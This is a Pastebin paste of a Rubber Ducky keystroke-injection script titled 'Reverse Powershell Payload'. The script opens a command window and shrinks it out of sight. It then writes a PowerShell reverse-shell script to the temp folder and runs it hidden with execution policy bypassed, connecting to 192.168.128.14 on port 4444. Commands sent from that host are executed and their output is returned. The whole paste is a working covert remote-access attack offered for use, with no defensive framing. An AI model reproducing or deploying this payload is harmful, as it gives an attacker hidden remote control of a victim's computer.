Advertisement
illwill

Rubber Ducky Reverse Powershell Payload

Nov 28th, 2016
503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. REM Powershell Reverse Shell
  2. DELAY 6000
  3. GUI r
  4. DELAY 100
  5. STRING cmd
  6. ENTER
  7. DELAY 1000
  8. STRING mode con:cols=18 lines=1
  9. ENTER
  10. STRING echo Param([string]$IP,[string]$PORT);$client = New-Object System.Net.Sockets.TCPClient("$IP",$PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..255^|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2^>^&1 ^| Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()>%temp%\shell.ps1
  11. ENTER
  12. DELAY 50
  13. STRING powershell -NoP -NonI -W Hidden -Exec Bypass "& '%temp%\shell.ps1' 192.168.128.14 4444"
  14. ENTER
  15. STRING exit
  16. ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement